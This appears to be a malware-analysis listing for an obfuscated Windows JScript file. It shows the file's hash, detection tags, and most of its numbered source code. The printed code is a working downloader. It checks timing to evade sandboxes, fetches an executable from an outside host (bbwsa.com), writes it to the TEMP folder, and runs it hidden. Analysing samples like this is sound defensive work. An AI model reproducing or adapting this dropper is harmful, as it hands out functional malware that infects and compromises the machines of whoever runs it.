20160328_dbd3d1fddc74c04d5e321a774cef018b.js
downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256ef322c223b127cc6578755c2749fae2c2c4ae2770a54c9177003d62aa1da0c89
Evidence
1var Grrxd = false;
2var Rsyhgf = "CreateObject";
3var Oobbgs = function Npuczed() {return WScript[Rsyhgf]("WScript.Shell");}();
4var Vwotiswcj = 123213;
5var Mtmjhl = "MSXML2.XMLHTTP";
6var Tjgfc = 2123213;
7var Wllufpomqv = 0;
8function Qwdvlhta(Yiqnlay){Oobbgs["Run"](Yiqnlay, Wllufpomqv, Wllufpomqv);};
9function Nytsjcac(){return Mtmjhl;};
10function Dnjdwzrmlz(Bfdfi, Fcachyylm){return Bfdfi - Fcachyylm;};
11function Odpvif(){return Rsyhgf;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Grrxd = true;
15 @end
16@*/
17var Zphid = "";
18if (Grrxd)
19{
20function Ekrsf(){return 22;};
21var Mvcufl = 0; var Mirzfahnap = 0;
22function Yrtdqabony()
23{
24var Qonwo = new this["Date"]();
25var Qjeohpy = Qonwo["getUTCMilliseconds"]();
26WScript["Sleep"](Ekrsf());
27var Qonwo = new this["Date"]();
28var Zuxjw = Qonwo["getUTCMilliseconds"]();
29WScript["Sleep"](Ekrsf());
30var Qonwo = new this["Date"]();
31var Lfkuudxasp = Qonwo["getUTCMilliseconds"]();
32var Mvcufl = "Itjrrdc";
33Mvcufl = Dnjdwzrmlz(Zuxjw, Qjeohpy);
34var Mirzfahnap = "Krjdxbamn";
35Mirzfahnap = Dnjdwzrmlz(Lfkuudxasp, Zuxjw);
36Zphid = "open";
37return Dnjdwzrmlz(Mvcufl, Mirzfahnap);
38}
39var Sluvlh = false;
40var Mbqseyapl = false;
41for (var Fyfdbx = Wllufpomqv; Fyfdbx < Ekrsf() * 1; Fyfdbx++){if (Yrtdqabony() != Wllufpomqv){
42Sluvl …
49:3… (Sluvlh && Nvkmw() && Mbqseyapl){
50function Culscren() {return Oobbgs["ExpandEnvironmentStrings"]("%TEMP%/") + "Bpt5dhkTUN.exe";};
51 Cposnr = Nytsjcac();
52 Ciqzvfuzp = WScript[Rsyhgf](Cposnr);
53 var Cvgfubo = 1;
54 while (Cvgfubo){
55try {
56Ciqzvfuzp[Zphid]("GET", "http://bbwsa.com/m7rysa", false);
57Ciqzvfuzp["send"]();
58Ohuhrkvae = "Sleep";
59do {WScript[Ohuhrkvae](Ekrsf() * 11)} while (Ciqzvfuzp["readystate"] < 4 );
60Cvgfubo = Wllufpomqv;
61} catch(Llxhejf){Cvgfubo = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Mujifyjxxz(Csmbrl) {var Kdclgusxfu = (1, 2, 3, 4, 5, Csmbrl); return Kdclgusxfu;};
64Rhjve = WScript[Odpvif()]("ADODB.Stream");
65Cposnr = Rhjve;
66Cposnr[Zphid]();
67Cposnr["type"] = Mujifyjxxz(1);
68Cposnr["write"](Ciqzvfuzp["ResponseBody"]);
69Rhjve["position"] = Mujifyjxxz(Wllufpomqv);
70Cposnr["SaveToFile"](Culscren(), Mujifyjxxz(2) );
71Rhjve["close"]();
72Qwdvlhta(Culscren());
73}
74}
75